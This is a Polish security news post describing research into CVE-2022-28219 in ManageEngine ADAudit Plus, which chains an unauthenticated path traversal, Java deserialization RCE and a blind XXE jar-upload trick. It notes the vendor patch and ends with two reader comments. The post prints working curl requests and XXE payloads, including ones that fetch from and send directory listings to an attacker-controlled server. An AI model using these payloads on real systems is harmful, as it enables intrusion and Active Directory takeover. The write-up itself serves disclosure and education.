Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Seria podatności w ManageEngine ADAudit Plus. Czyli jak (czasem) od zera dostać admina domeny Windows?
Ciekawy opis podatności w ManageEngine ADAudit Plus (służącym do monitorowania zmian w Active Directory) możecie znaleźć tutaj.
Mając dostęp do kodów źródłowych aplikacji badacze najpierw poszukali URLi, które nie wymagają uwierzytelnienia. Jednym z ciekawszych okazał się być: /cewolf/ w którym udało się namierzyć RCE poprzez deserializację obiektów. Przy okazji mamy jeszcze path traversal, co zebrane w jedno daje możliwość wykonania dowolnego kodu, jednak musimy w jakiś sposób na serwerze umieścić nasz payload do deserializacji…:
curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'
Jak go umieścić? Badacze zlokalizowali inny nieuwierzytelniony URL, gdzie można było wykorzystać podatność XXE. Ale zaraz, zaraz – przecież za pomocą XXE można co najwyżej czytać pliki z serwera, czasem listować zawartość katalogów, ew. wykonywać SSRF; na upload plików nie ma szans!
Otóż są szanse w pewnym specyficznym przypadku. A że mamy tutaj specyficzny przypadek, można przystąpić do działania:
- Mamy javę, więc obsługiwany jest quasi-protokół jar:
- Można zastosować pewien trick, czyli użyć jako payloadu XXE takiego XMLa jak poniżej, a w trakcie wysyłania jara do serwera, nie kończyć procesu wysyłania payloadu (z naszego serwera 10.0.220.200; tzn. wysyłamy całego jara, ale później pauzujemy):
<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ]>
- Powoduje to utworzenie (w trakcie uploadu) tymczasowego pliku jar o ~losowej nazwie
- Listowanie zawartości katalogu /temp (payload jest nieco skomplikowany bo mamy tutaj do czynienia z blind XXE):
<?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n
- Wynik listowania katalogu /temp może wyglądać tak:
Teraz wystarczy podać nasz plik do wcześniej wskazanego żądania:
curl –path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload’
- I proszę:
W zasadzie konto serwisowe, na którym pracuje ManageEngine ADAudit Plus nie powinno mieć uprawnień admina domenowego, ale czasem admini idą na skróty (mniej pracy, wszystko działa „od kopa”) i konfigurują je z pełnymi uprawnieniami admina domenowego – takie przypadki badacze widzieli w realnych wdrożeniach.
Producent wydał łatkę na podatność CVE-2022-28219 – łata ją wersja 7060 ManageEngine ADAudit Plus.
~Michał Sajdak
Lol xd 💗💗💗
Stary kotlet już dawno załatany. W dodatku nikt o zdrowych zmysłach nie daje pełnego admina takim narzędziom chyba, że się powierza wdrożenie amatorom to można mieć pretensje tylko do siebie